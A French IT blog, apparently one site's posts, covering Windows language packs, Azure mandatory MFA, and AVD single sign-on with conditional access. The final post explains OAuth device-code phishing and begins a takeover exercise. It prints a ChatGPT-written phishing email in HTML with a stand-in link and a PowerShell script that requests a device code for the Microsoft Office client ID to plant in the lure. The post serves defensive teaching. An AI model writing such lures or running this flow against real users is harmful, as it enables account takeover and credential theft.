L’ajout du pack de langue Français (Suisse) entraine également l’ajout du pack de langue Français (France).

Une fois le script terminé, la machine virtuelle redémarre toute seule comme indiqué dans le script :

Il ne nous reste qu’à vérifier l’impact sur notre utilisateur local.

Etape III – Contrôle des changements :

Reconnectez-vous à l’utilisateur après le redémarrage du script :

L’écran de démarrage est maintenant en Français (Suisse):

L’interface utilisateur l’est également :

Allons voir encore une fois dans Langue et région :

Seul le Français (Suisse) est disponible pour notre utilisateur administrateur :

Seul le pack Français (Suisse) semble cette fois installé :

Vérifions une dernière fois le ou les packs de langue installés via le script par la commande PowerShell suivante :

Get-InstalledLanguage

Presque toutes les features et le clavier correspondant semblent correctement installés pour notre pack de langue :

Le pays est maintenant encore défini sur Suisse, comme voulu :

De façon logique, le formatage Suisse est également appliqué :

Continuons avec l’administration des paramètres de la langue :

Un clic pour consulter les 3 types de paramétrage :

Tout est maintenant bien configuré en Français (Suisse) :

Conclusion

Certaines bonnes vieilles méthodes continuent encore de marcher. Dites-moi dans les commentaires si vous appliquez d’autres moyens pour y parvenir 😎

Plus d’infos sur la MFA obligatoire pour Azure

En cette fin juin 2024, Microsoft nous partage un peu plus d’informations sur la future MFA obligatoire à venir pour Azure à partir de juillet 2024. Plusieurs grandes étapes sont maintenant mentionnées et intégrées dans un planning qui démarre dès cet été et se terminera début 2025. De plus, Microsoft nous propose également donc quelques outils pour nous y préparer.

Mi-mai, Microsoft annonçait via le Tech Community une modification majeure à venir concernant l’authentification sur Azure : MFA pour tous ! A ce moment-là, j’avais déjà rédigé un premier article, dont voici le lien MFA pour tous les utilisateurs d’Azure à partir de juillet 2024.

Un second post sur le Tech Community est apparu hier sur ce même sujet, et nous donne quelques informations sur les 2 phases de cette obligation liée à Azure :

  • Phase 1 – À partir de juillet 2024 : La notification puis l’obligation de la MFA pour le portail Azure sera progressivement étendue à tous les tenants.
  • Phase 2 – À partir de début 2025 : La notification puis l’obligation de la MFA aux outils de commande liés à Azure : CLI, Azure PowerShell et les outils Infrastructure as Code (IaaC) sera progressivement étendue à tous les tenants.

Merci à Merill Fernando pour ce schéma :

Partant de ces informations, nous pouvons en déduire les points suivants :

  • Portail Azure : Le portail Azure est utilisé par les humains, il faudra alors former les utilisateurs et configurer pour chacun d’entre eux une méthode MFA.
  • Autres outils : D’autres outils (CLI, Cloud Shell, …) sont utilisés par les humains et certains applications. Ces dernières pourront elles faire l’objet d’une bascule vers des identités managés ou des comptes de service.
  • Impact progressif : Les entreprises utilisant Azure doivent se préparer à une transition progressive des tenants. Elles auront le temps d’ajuster leurs configurations et de résoudre les problèmes potentiels avant que l’implémentation complète ne soit réalisée.

Microsoft a t-il prévu de notifier les administrateurs Azure ?

Microsoft a privilégié la notification des administrateurs globaux 60 jours avant la mise en application des phases 1 et 2. Cela sans doute pour laisser les entreprises organiser les messages et notifications en interne aux personnels Azure impactés par cette mesure.

Le compte à rebours de la mise en application pour votre/vos tenant(s) ne commence pas tant que vous n’avez pas reçu cette première notification de notre part. En outre, nous enverrons des rappels périodiques aux administrateurs globaux à intervalles réguliers entre la première notification et le début de la mise en application pour votre/vos tenant(s).

Tech Community

Pourrons-nous déroger temporairement à cette règle pour un tenant ?

Les mails de notification envoyés par Microsoft devraient comporter un lien pour activer une période de grâce, afin de pouvoir gérer les imprévus :

La première notification de notre part indiquant la date de mise en application pour votre/vos tenant(s) inclura également un lien pour demander la période de grâce. Des détails supplémentaires sur les types de clients, les cas d’utilisation et les scénarios éligibles à la période de grâce seront inclus dans la notification.

Tech Community

MFA pour tout Azure, mais vraiment pour tout le monde ?

Microsoft avait déjà été clair sur ce point, j’en avais également parlé dans mon précédent article :

Azure et seulement Azure. Ce point est très important d’autres services 365, ou même l’utilisation de services pourtant hébergés Azure ne seront pas impactés par ce changement.

Jlou.eu

Malgré cette information, une confusion a déjà pu s’installer, et c’est pour cela que ce second post de Microsoft reprécise que les utilisateurs finaux non gestionnaires d’Azure ne seront pas impactés :

Les utilisateurs finaux qui accèdent à des applications, des sites web ou des services hébergés sur Azure, mais qui ne se connectent pas au portail Azure, à la CLI ou à PowerShell, ne sont pas soumis à cette exigence de Microsoft. Les exigences d’authentification pour les utilisateurs finaux seront toujours contrôlées par les propriétaires de l’application, du site web ou du service.

Tech Community

Quid des accès conditionnels d’Entra ID ou de la sécurité par défaut ?

Microsoft a décidé d’implémenter ce contrôle MFA en amont des mesures de sécurité actuelles :

  • Sécurité par défaut activée : aucun changement car la MFA est déjà requise pour accéder aux outils Azure.
  • Accès conditionnel Azure : une police d’accès conditionnel plus restrictive et nécessitant une authentification plus forte que cette nouvelle règle sera appliquée en priorité.

Quid des comptes « brise-glace » ?

En mai dernier, Microsoft ne donnait pas encore de méthodes spécifiques pour ces comptes d’urgence. C’est maintenant chose faite :

Nous avons pris connaissance de vos questions concernant les comptes « verre cassé » ou « accès d’urgence ». Nous recommandons de mettre à jour ces comptes pour qu’ils utilisent FIDO2 ou l’authentification basée sur un certificat (lorsqu’elle est configurée en tant qu’AMF) au lieu de s’appuyer uniquement sur un mot de passe long. Ces deux méthodes satisferont aux exigences de l’AMF.

Tech Community

Existe-t-il des outils pour nous y préparer ?

Pour éviter les soucis de connexion le jour J, Microsoft propose un outil de type tableau de bord, et une commande PowerShell d’extraction sous format EXCEL. Ces deux outils donne plus de visibilité sur les utilisateurs Azure concernés et mal préparés. Voici les deux liens directs mis à disposition par Microsoft :

Voici des liens directs sur deux tests réalisés dans cet article :

Test I – Configuration du Tableau de bord Entra ID :

L’utilisation de ce tableau de bord Entra ID exige certains prérequis Microsoft :

  • Un tenant Microsoft avec une licence Entra ID Premium P1
  • Une souscription Azure valide
  • Un Log Analytics workspace créé sur une souscription Azure

Voici le message d’erreur si vous souhaitez accéder aux workbooks d’Entra ID si la configuration n’est pas faite :

Si cela n’est donc pas déjà fait, commencez par créer un Log Analytics workspace via le portail Azure :

Cliquer sur Créer :

Renseignez les informations de votre LAW, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de votre LAW :

Attendez 2 minutes que le déploiement se termine :

Retournez sur Entra ID afin d’activer ou de modifier le paramétrage de sauvegarde des journaux :

Activez l’option pour sauvegarder vers votre LAW, puis Sauvegardez :

Attendez environ 5 minutes, puis Créez un nouveau workbook :

Cliquez-ici pour ajoutez du code à votre workbook :

Rendez-vous sur la page GitHub suivante afin d’y copier le code présent :

Collez le code précédemment copié, puis cliquez sur Appliquer :

Cliquez sur Enregistrer-sous pour sauvegarder votre workbook :

Renseignez les champs, puis cliquez sur Appliquer :

Attendez quelques secondes que le workbook s’enregistre :

Retournez sur le menu suivant pour vérifiez le bon enregistrement :

Cliquez sur votre workbook afin de connaitre les connexions sans MFA de votre tenant :

Afin d’avoir plus de matière dans mes logs, voici un exemple d’un autre tenant :

Filtrez les résultats avec uniquement comme application le portail Azure :

Identifiez le ou les utilisateurs connectés sans MFA :

Terminons ces tests la seconde méthode proposée par Microsoft : le script PowerShell.

Test II – Lancement du script PowerShell Entra ID :

L’utilisation de ce script PowerShell n’exige qu’un prérequis :

  • Windows PowerShell en version 7.0 ou supérieure

Si besoin, installez la dernière version de PowerShell. Commencez par rechercher la version la plus récente de PowerShell :

winget search Microsoft.PowerShell

Installez PowerShell et/ou PowerShell en préversion :

winget install --id Microsoft.Powershell --source winget
winget install --id Microsoft.Powershell.Preview --source winget

Validez si besoin les droits administrateurs :

Attendez que la version soit entièrement installée :

Recherchez la version 7 de PowerShell :

Lancez le script PowerShell de Microsoft :

Install-Module MsIdentityTools -Scope CurrentUser
Import-Module MSIdentityTools

Connect-MgGraph -Scopes Directory.Read.All, AuditLog.Read.All, UserAuthenticationMethod.Read.All

Export-MsIdAzureMfaReport .\report.xlsx

Authentifiez-vous avec un compte disposants des autorisations nécessaires :

Acceptez les permissions demandées :

Une fois l’authentification terminée, fermez la fenêtre du navigateur :

Attendez que l’export Excel se termine :

Ouvrez le fichier Excel généré :

Constatez sur le premier onglet un tableau récapitulatif des utilisateurs qui se sont connectés au portail Azure, à Azure CLI ou à Azure PowerShell au cours des 30 derniers jours en interrogeant les journaux de connexion et de leur méthodes MFA enregistrées :

  • MFA Capable + Signed in with MFA : L’utilisateur a enregistré des méthodes d’authentification MFA et s’est connecté avec succès au moins une fois à Azure en utilisant MFA.
  • MFA Capable : L’utilisateur a enregistré des méthodes d’authentification MFA mais s’est toujours connecté à Azure en utilisant l’authentification à facteur unique.
  • Not MFA Capable : L’utilisateur n‘a pas encore enregistré de méthode d’authentification multifacteur et ne s’est pas connecté à Azure à l’aide de MFA.

Constatez sur le second onglet un graphique et des totaux des utilisateurs prêts ou non :

Conclusion – Comment se préparer avant le jour J ?

Commencez dès à présent à créer une nouvelle règle d’accès conditionnel équivalente à la future implémentation prévue par Microsoft. Il existe un template de police d’accès conditionnel très proche du résultat attendu :

Cette police cible la gestion des ressources Azure :

La mise en place de cette police en mode Report seulement est un premier pas vers la compréhension de ce qui va se passer sur votre environnement :

Vous pourrez par la suite changer son statut sur ON :

Bon courage à tous 💪🙏😎

AVD + SSO + Accès conditionnel v2

Azure Virtual Desktop propose différentes options dans l’authentification Entra ID, comme le SSO, l’accès conditionnel, ou encore la combinaisons des 2 😎. Microsoft nous apporte justement une petite évolution sur ce mois de juin 2024. Annoncée via un email pour une partie d’entre-nous, je souhaitais refaire un point sur la configuration SSO et les différentes polices possibles dans l’accès conditionnel AVD.

Il y a quelques jours, certains ont peut-être reçu l’email suivant de la part de Microsoft Azure :

Upcoming change for conditional access policies that target the Microsoft Remote Desktop Entra ID cloud app for Azure Virtual Desktop single sign-on.

You’re receiving this notice because you have conditional access policies that explicitly include or exclude the Microsoft Remote Desktop Entra ID cloud app and use single sign-on.

This change timeline was initially targeted for April 2024. We’ve extended the timeline to 26 June 2024. Azure Virtual Desktop clients will transition to the Windows Cloud Login Entra ID cloud app for Windows authentication when single sign-on is enabled. Windows authentication will continue to work as expected when single sign-on isn’t enabled. Additionally, conditional access policies targeted towards the Azure Virtual Desktop Entra ID cloud applications will continue to be applied across resource retrieval, gateway authentication, and diagnostic processes.

Since you’re using single sign-on for Azure Virtual Desktop and have conditional access policies that specifically include or exclude the Microsoft Remote Desktop Entra ID cloud app you’ll need to update your policies to also include or exclude the Windows Cloud Login Entra ID cloud app.

  • Microsoft Remote Desktop Entra ID cloud app ID: a4a365df-50f1-4397-bc59-1a1564b8bb9c
  • Windows Cloud Login Entra ID cloud app ID: 270efc09-cd0d-444b-a71f-39af4910ec45

If you have existing conditional access policies targeting the Microsoft Remote Desktop Entra ID cloud app, action is required to ensure policies continue to be applied as intended.

Required action

We recommend you update any conditional access policies that specifically target the Microsoft Remote Desktop Entra ID cloud app to add the Windows Cloud Login Entra ID cloud app to ensure a smooth transition by 26 June 2024.

  • Reach out to your Azure Global Administrator for Azure Virtual Desktop to develop a plan for deploying these updates to your infrastructure.
  • Update your internal documentation as needed and if you have a helpdesk, you may want to make them aware of this change.

To get started, review the documentation to secure user sign-in events with Microsoft Entra Multifactor authentication.

Help and support

If you need help developing a plan for deploying the updates, contact your Azure global administrator for Azure Virtual Desktop.

If you have general questions, ask community experts in Microsoft Q&A. If you have a support plan and you need technical help, open a support case in the Azure portal and select the question mark icon at the top of the page.

————————————————————-

Voici en quelques mots de ce que l’on peut en dire sur ce changement sur les polices d’accès conditionnel destinés à Azure Virtual Desktop :

Vous recevez cet avis parce que vous avez des politiques d’accès conditionnel qui incluent ou excluent explicitement l’application cloud Microsoft Remote Desktop Entra ID et/ou utilisent l’authentification unique.

La date limite de transition est prévue pour le 26 juin 2024 :

  • Changement : Les clients Azure Virtual Desktop utiliseront l’application Windows Cloud Login Entra ID pour l’authentification Windows avec SSO.
  • Impact : Vos politiques d’accès conditionnel actuelles doivent inclure l’application Windows Cloud Login Entra ID en plus de Microsoft Remote Desktop Entra ID.

Les actions requises :

  1. Mettre à jour vos politiques d’accès conditionnel pour inclure l’application Windows Cloud Login Entra ID.
  2. Contactez votre administrateur global Azure pour planifier ces mises à jour.
  3. Mettre à jour votre documentation interne et informer votre service d’assistance.

Le support :

En relisant en détail la documentation Microsoft relative à la configuration SSO pour AVD, j’avais jusqu’à présent configuré le SSO sur des environnements Azure Virtual Desktop de manière incomplète : à savoir uniquement au niveau du pool d’hôtes AVD :

Malgré cette configuration SSO partielle, mes utilisateurs n’avaient aucun souci pour s’y connecter, avec quelques clics supplémentaires.

Je vous propose donc au travers de cet article sur la configuration SSO et les accès conditionnel AVD possibles :

Commençons donc par un rappel de l’expérience utilisateur sans configuration SSO dans le cadre d’un environnement AVD joint directement à Microsoft Entra ID.

Tâche I – Premier test AVD sans SSO :

Depuis l’application Microsoft Remote Desktop, ajoutez l’environnement AVD d’un utilisateur via la fonction suivante :

Renseignez les identifiants Cloud de l’utilisateur AVD :

Confirmez votre choix en cliquant sur Continuer :

L’icône AVD apparaît alors, cliquez sur ce dernier pour ouvrir une session de bureau à distance :

Renseignez à nouveau votre identifiant et mot de passe utilisateur :

Confirmez à nouveau votre choix en cliquant sur Continuer :

Autoriser la connexion à la machine virtuelle AVD en cliquant sur Oui :

Microsoft nous informe sur le pourquoi de cette boite de dialogue ci-dessus :

Après avoir activé l’authentification Microsoft Entra pour RDP, vous devez configurer les groupes d’appareils cibles. Par défaut, lors de l’activation de l’authentification unique, les utilisateurs sont invités à s’authentifier auprès de Microsoft Entra ID et à autoriser la connexion Bureau à distance lors du lancement d’une connexion à un nouvel hôte de session. Microsoft Entra mémorise jusqu’à 15 hôtes pendant 30 jours avant de vous présenter une nouvelle invite. Si une boîte de dialogue pour autoriser la connexion Bureau à distance s’affiche, sélectionnez Oui pour vous connecter.

Microsoft Learn

L’expérience réalisée nous montre que le SSO n’est pas opérationnel. Microsoft nous explique qu’il est possible de l’améliorer :

Vous pouvez masquer cette boîte de dialogue et fournir l’authentification unique pour les connexions à tous vos hôtes de session en configurant une liste d’appareils approuvés. Vous devez créer un ou plusieurs groupes dans Microsoft Entra ID qui contient vos hôtes de session, puis définir une propriété sur les principaux de service pour les mêmes applications Bureau à distance Microsoft et Connexion au cloud Windows, telles qu’elles sont utilisées dans la section précédente, pour le groupe.

Microsoft Learn

Voici un rappel des étapes de configuration du SSO pour un environnement AVD :

  1. Activation de l’authentification Microsoft Entra pour le protocole RDP
  2. Création du groupe de machines AVD
  3. Configuration AVD pour activer l’authentification unique

Commençons donc par correctement configurer le SSO au niveau de l’application Entra ID.

Tâche II – Activation de l’authentification Microsoft Entra pour le protocole RDP :

Depuis votre portail Azure, ouvrez le service Azure Cloud Shell :

Importez les 2 modules Graph suivants, puis connectez-vous à ce dernier :

Import-Module Microsoft.Graph.Authentication
Import-Module Microsoft.Graph.Applications

Connect-MgGraph -Scopes "Application.Read.All","Application-RemoteDesktopConfig.ReadWrite.All"

Validez l’authentification de votre compte grâce à un Device Code :

Obtenez l’ID d’objet de chaque principal de service, puis stockez-les dans des variables en exécutant les commandes PowerShell suivantes :

  • Microsoft Remote Desktop Entra ID : a4a365df-50f1-4397-bc59-1a1564b8bb9c
  • Windows Cloud Login Entra ID : 270efc09-cd0d-444b-a71f-39af4910ec45
$MSRDspId = (Get-MgServicePrincipal -Filter "AppId eq 'a4a365df-50f1-4397-bc59-1a1564b8bb9c'").Id
$WCLspId = (Get-MgServicePrincipal -Filter "AppId eq '270efc09-cd0d-444b-a71f-39af4910ec45'").Id

Vérifiez la valeur actuelle de la propriété isRemoteDesktopProtocolEnabled :

Get-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $MSRDspId
Get-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $WCLspId

Définissez la propriété isRemoteDesktopProtocolEnabled sur true en exécutant les commandes suivantes :

If ((Get-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $MSRDspId) -ne $true) {
    Update-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $MSRDspId -IsRemoteDesktopProtocolEnabled
}

If ((Get-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $WCLspId) -ne $true) {
    Update-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $WCLspId -IsRemoteDesktopProtocolEnabled
}

Vérifiez le changement de valeur de la propriété isRemoteDesktopProtocolEnabled :

Get-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $MSRDspId
Get-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $WCLspId

Pour information, la commande PowerShell suivante vous permet si besoin de revenir en arrière :

$params = @{
	"@odata.type" = "#microsoft.graph.remoteDesktopSecurityConfiguration"
	isRemoteDesktopProtocolEnabled = $false
}

Update-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $MSRDspId -BodyParameter $params
Update-MgServicePrincipalRemoteDesktopSecurityConfiguration -ServicePrincipalId $WCLspId -BodyParameter $params

La suite de la configuration SSO se passe au niveau d’un groupe Entra ID.

Tâche III – Création d’un groupe de machines AVD :

Créez un groupe Entra ID dans lequel vous y ajoutez les différentes machines hôtes d’Azure Virtual Desktop :

Copiez les valeurs suivantes de votre groupe de machines virtuelles AVD :

  • Nom du groupe
  • Object ID

Intégrez ces 2 valeurs dans la commande PowerShell suivante :

$tdg = New-Object -TypeName Microsoft.Graph.PowerShell.Models.MicrosoftGraphTargetDeviceGroup
$tdg.Id = "<Group object ID>"
$tdg.DisplayName = "<Group display name>"

Ajoutez le groupe à l’objet targetDeviceGroup en exécutant les commandes PowerShell suivantes :

New-MgServicePrincipalRemoteDesktopSecurityConfigurationTargetDeviceGroup -ServicePrincipalId $MSRDspId -BodyParameter $tdg
New-MgServicePrincipalRemoteDesktopSecurityConfigurationTargetDeviceGroup -ServicePrincipalId $WCLspId -BodyParameter $tdg

Pour information, la commande PowerShell suivante vous permet si besoin de revenir en arrière :

Remove-MgServicePrincipalRemoteDesktopSecurityConfigurationTargetDeviceGroup -ServicePrincipalId $MSRDspId -TargetDeviceGroupId "<Group object ID>"
Remove-MgServicePrincipalRemoteDesktopSecurityConfigurationTargetDeviceGroup -ServicePrincipalId $WCLspId -TargetDeviceGroupId "<Group object ID>"

La suite se passe au niveau du pool d’hôtes AVD.

Tâche IV – Configuration AVD pour activer l’authentification unique :

Finissons par l’activation de l’option SSO depuis les propriétés RDP de votre pool d’hôtes AVD :

Il ne reste qu’à refaire un test utilisateur depuis votre client Microsoft Remote Desktop :

Tâche V – Second test AVD avec SSO :

Depuis l’application Microsoft Remote Desktop, ajoutez l’environnement AVD d’un utilisateur via la fonction suivante :

Renseignez les identifiants Cloud de cet utilisateur :

Confirmez votre choix en cliquant sur Continuer :

L’icône AVD apparaît alors, cliquez sur ce dernier pour ouvrir une session de bureau à distance :

Plus aucune authentification supplémentaire n’est nécessaire, la session de bureau à distance AVD s’ouvre directement :

La fonctionnalité SSO est maintenant en place sur notre environnement Azure Virtual Desktop. Continuons maintenant avec l’accès conditionnel AVD.

Tâche VI – Accès conditionnel actuel AVD (Portail) :

Pour rappel, j’utilise déjà cet accès conditionnel pour protéger l’accès à Azure Virtual Desktop. Voici ma configuration actuelle de la police d’accès conditionnel AVD :

Comme vous pouvez le voir, l’application ciblée est Azure Virtual Desktop (9cdead84-a844-4324-93f2-b2e6bb768d07)

Voici l’impact sur l’utilisateur AVD quand cette première police est activée :

Depuis l’application Microsoft Remote Desktop, ajoutez l’environnement AVD d’un utilisateur via la fonction suivante :

Renseignez les identifiants Cloud de ce premier utilisateur AVD :

L’accès conditionnel AVD fonctionne bien et demande ici une méthode de MFA renforcée, comme la clef FIDO2 :

Saisissez votre code PIN :

Touchez physiquement la clef FIDO2 :

Cliquez sur Continuer :

L’icône AVD apparaît alors, cliquez sur ce dernier pour ouvrir une session de bureau à distance :

L’ouverture de la session AVD de ce premier utilisateur se fait automatiquement :

Le journal de log entra ID nous permet de comprendre le déroulé et l’impact des tokens entre les 2 applications AVD :

Continuons avec un second test d’accès conditionnel ciblant cette fois les 2 applications indiquées dans l’email de Microsoft :

  • Microsoft Remote Desktop Entra ID : a4a365df-50f1-4397-bc59-1a1564b8bb9c
  • Windows Cloud Login Entra ID : 270efc09-cd0d-444b-a71f-39af4910ec45

Tâche VII – Accès conditionnel actuel AVD (VM) :

Depuis l’application Microsoft Remote Desktop, ajoutez l’environnement AVD d’un utilisateur via la fonction suivante :

Renseignez les identifiants Cloud de ce second utilisateur AVD :

Aucune MFA renforcée n’est exigée, mais confirmez votre choix en cliquant sur Continuer :

L’icône AVD apparaît alors, cliquez sur ce dernier pour ouvrir une session de bureau à distance :

Renseignez à nouveau les identifiants Cloud de l’utilisateur AVD :

L’accès conditionnel à la VM d’AVD fonctionne bien et demande ici une méthode de MFA renforcée, comme la clef FIDO2 :

Saisissez votre code PIN :

Touchez physiquement la clef FIDO2 :

Cliquez sur Continuer :

L’ouverture de la session AVD de ce second utilisateur se fait dans la foulée du challenge MFA :

Le journal de log entra ID nous permet de comprendre le déroulé et l’impact des tokens entre les 2 applications AVD :

Terminons les tests par une combinaison de 2 polices d’accès conditionnels ciblant les 3 applications AVD.

Tâche VIII – Accès conditionnel AVD doublé (Portail + VM) :

J’ai paramétré un troisième utilisateur pour avoir une MFA renforcée sur les 3 applications AVD, via 2 polices distinctes d’accès conditionnel :

Police Portail

  • Police Portail :
    • Azure Virtual Desktop : 9cdead84-a844-4324-93f2-b2e6bb768d07
  • Police VM :
    • Microsoft Remote Desktop Entra ID : a4a365df-50f1-4397-bc59-1a1564b8bb9c
    • Windows Cloud Login Entra ID : 270efc09-cd0d-444b-a71f-39af4910ec45

Depuis l’application Microsoft Remote Desktop, ajoutez l’environnement AVD d’un utilisateur via la fonction suivante :

Renseignez les identifiants Cloud de cet utilisateur :

L’accès conditionnel Portail fonctionne bien et demande ici une méthode de MFA renforcée, comme la clef FIDO2 :

Saisissez votre code PIN :

Touchez physiquement la clef FIDO2 :

Cliquez sur Continuer :

L’icône AVD apparaît alors, cliquez sur ce dernier pour ouvrir une session de bureau à distance :

L’ouverture de la session AVD de ce troisième utilisateur se fait automatiquement sans repasser par un challenge MFA de la police VM :

Le journal de log entra ID nous permet de comprendre le déroulé et l’impact des tokens entre les 2 applications AVD :

Conclusion

Ce mail d’information Microsoft m’a donc permis de correctement configurer le SSO AVD. Il nous explique également la mise à jour nécessaires des polices d’accès conditionnel pour garantir la continuité du service et la sécurité des connexions avec Azure Virtual Desktop.

En intégrant l’application Windows Cloud Login Entra ID avant le 26 juin 2024, vous assurerez une transition fluide et éviterez toute interruption de service 🤘

Gérez le Device Code flow

Type d’authentification du protocole OAuth 2.0, le Device Code Flow est spécifiquement conçu pour les appareils sans navigateur ou avec une méthode de saisie restreinte, comme les téléviseurs, les consoles de jeux ou encore les appareils IoT. Cette méthode d’identification est déjà très répandue au travers des plateformes de streaming audio ou vidéo. Mais quid de sa sécurité ?

Qu’est-ce que le Device Code Flow ?

Le principal avantage du Device Code Flow est de proposer une méthode d’authentification « conviviale » pour des périphériques à saisie restreinte. On peut découper le processus d’authentification du device code flow dans les étapes suivantes :

  1. Demande d’un code de dispositif:
    • L’appareil (par exemple, une télévision) envoie une demande à l’API d’autorisation du service (par exemple, un serveur OAuth).
    • En réponse, il reçoit un code de dispositif et une URL d’authentification.
  2. Affichage du code et de l’URL à l’utilisateur:
    • L’appareil affiche le code de dispositif et l’URL d’authentification à l’utilisateur.
    • Par exemple, « Veuillez visiter https://example.com/device et entrer le code suivant: ABC123″.
  3. Utilisateur autorise l’appareil:
    • L’utilisateur utilise un appareil avec un navigateur (par exemple, un smartphone ou un ordinateur) pour visiter l’URL fournie.
    • L’utilisateur entre le code de dispositif affiché sur l’appareil et s’authentifie (par exemple, via un login et un mot de passe).
  4. Appareil poll l’API d’autorisation:
    • Pendant que l’utilisateur s’authentifie, l’appareil envoie régulièrement des requêtes (polling) à l’API d’autorisation pour vérifier si l’utilisateur a terminé le processus d’autorisation.
    • Si l’utilisateur autorise l’accès, l’API renvoie un jeton d’accès à l’appareil.
  5. Accès accordé:
    • L’appareil peut maintenant utiliser le jeton d’accès pour accéder aux ressources protégées au nom de l’utilisateur.
Action ou flux d’authentificationNécessiteJeton d’IDAccess token (Jeton d’accès)Jeton d’actualisationCode d’autorisation.
Flux du code d’autorisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisationLe code d’autorisation fonctionne
Informations d’identification du clientLe flux d’authentification fonctionne pour le jeton d’accès (application uniquement)
Flux de code d’appareilLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Flux impliciteLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accès
Flux On-Behalf-Ofaccess tokenLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Nom d’utilisateur/mot de passe (ROPC)nom d’utilisateur, mot de passeLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation
Circuit OIDC hybrideLe flux d’authentification fonctionne pour le jeton d’IDLe code d’autorisation fonctionne
Échange de jetons d’actualisationjeton d’actualisationLe flux d’authentification fonctionne pour le jeton d’IDLe flux d’authentification fonctionne pour le jeton d’accèsLe flux d’authentification fonctionne pour le jeton d’actualisation

Pourquoi alors se passer du Device Code Flow si pratique ?

Disons-le tout de suite, Microsoft est très clair quant à la sécurité d’Entra ID uniquement basée sur un Device code flow :

Le flux de code d’appareil est un flux d’authentification à haut risque qui peut être utilisé dans le cadre d’une attaque par hameçonnage ou pour accéder aux ressources de l’entreprise sur des appareils non gérés. 

Microsoft Learn

Merci à Seyfallah pour son explication très claire sur les risques :

Mais pourquoi alors proposer quelque chose de risqué ?

Comme dit plus haut, certains scénarios spécifiques sont plus facilement gérables via Device Code Flow. D’ailleurs, tous les principaux cmdlets PowerShell, les outils AZ et de nombreux autres prennent en charge ce flux d’authentification depuis déjà un bon moment.

Vous pouvez configurer le contrôle de flux de code de l’appareil avec d’autres contrôles dans vos stratégies d’accès conditionnel. Par exemple, si le flux de codes d’appareils est utilisé pour les appareils Android utilisés dans les salles de conférence, vous pouvez choisir de bloquer le flux de codes d’appareils partout, sauf pour les appareils Android situés dans un emplacement spécifique du réseau.

Microsoft Learn

Mais le principal risque pour la méthode d’authentification via Device Code Flow reste le Phishing ou hameçonnage. Les attaquants peuvent tenter de créer de fausses pages ou emails de phishing :

Et l’arrivée massive de l’IA n’a fait qu’accroitre le risque des attaques basées sur l’ingénierie sociale. Les utilisateurs peuvent être facilement manipulés pour valider des devices code flows à leur insu.

Mais comment peut-on y remédier ?

Bien que la première méthode sécuritaire doive être construite autour de l’éducation des utilisateurs, des pratiques de sécurité rigoureuses et une surveillance continue peuvent aider à atténuer ces risques et à protéger les utilisateurs contre ces attaques :

Entra ID propose depuis peu et encore en préversion, la gestion de polices d’accès conditionnels proposant justement de bloquer les Device code flow selon certains usages :

Pour vous faire une meilleure idée, je vous propose de réaliser ensemble un petit exercice sur le Device code Flow et son impact :

Important : Cet exercice n’est reflète pas une attaque dans son intégralité, mais démontre quelques points intéressants dans le cadre d’une prise de contrôle d’un administrateur global.

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice, il vous faudra disposer de :

  • Deux tenants Microsoft
  • Plusieurs adresses emails pour une première campagne d’hameçonnage

Commençons par l’hameçonnage d’utilisateurs 365 lambda afin de récupérer l’accès à la messagerie 365.

Etape I – Préparation du premier hameçonnage :

Une campagne d’hameçonnage réussie et reposant sur de l’ingénierie sociale doit faire l’objet d’un travail poussé afin d’augmenter ses chances de succès.

Dans mon cas, je suis passé par ChatGPT pour rédiger rapidement un email d’hameçonnage destiné à mes utilisateurs lambda :

ChatGPT m’a alors généré en quelques secondes le texte de mon email au format HTML :

<!DOCTYPE html>
<html>
<head>
    <title>Mise à jour du système de gestion des notes de frais</title>
</head>
<body style="font-family: Arial, sans-serif; line-height: 1.6; color: #333;">
    <h1 style="color: #1a73e8;">🔔 Important : Refonte du Système de Gestion des Notes de Frais 🔔</h1>
    <p>Bonjour [Nom du destinataire],</p>
    <p>Nous avons le plaisir de vous informer que notre système de gestion des notes de frais a été entièrement refondu pour améliorer votre expérience et simplifier le processus de soumission et de suivi de vos dépenses professionnelles.</p>
    <p>Pour accéder à ce nouveau système, veuillez-vous inscrire en utilisant le lien ci-dessous et le code à usage unique fourni :</p>
    <p>
        <a href="https://www.fakewebsite.com/register" style="color: #1a73e8; text-decoration: none; font-weight: bold;">Inscription au nouveau système de gestion des notes de frais</a>
    </p>
    <p>Votre code à usage unique : <strong style="font-size: 1.2em; color: #d32f2f;">UNIQUECODE12345</strong></p>
    <p><strong>Ce code est valable seulement 15 minutes.</strong></p>
    <p>Nous vous remercions de procéder à votre inscription dans les plus brefs délais afin de bénéficier des nouvelles fonctionnalités et améliorations apportées à notre système.</p>
    <p>Avec nos meilleures salutations,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>

Il ne me reste qu’à y remplacer l’URL et le Device Code Flow.

Pour cela, et depuis mon poste, j’exécute le script PowerShell suivant afin de générer un Device Code Flow destiné à l’application officielle Microsoft Office :

$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$Scope = ".default offline_access"
$body = @{
"client_id" = $ClientID 
"scope" = $Scope
}

$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Body $body 
Write-output $authResponse

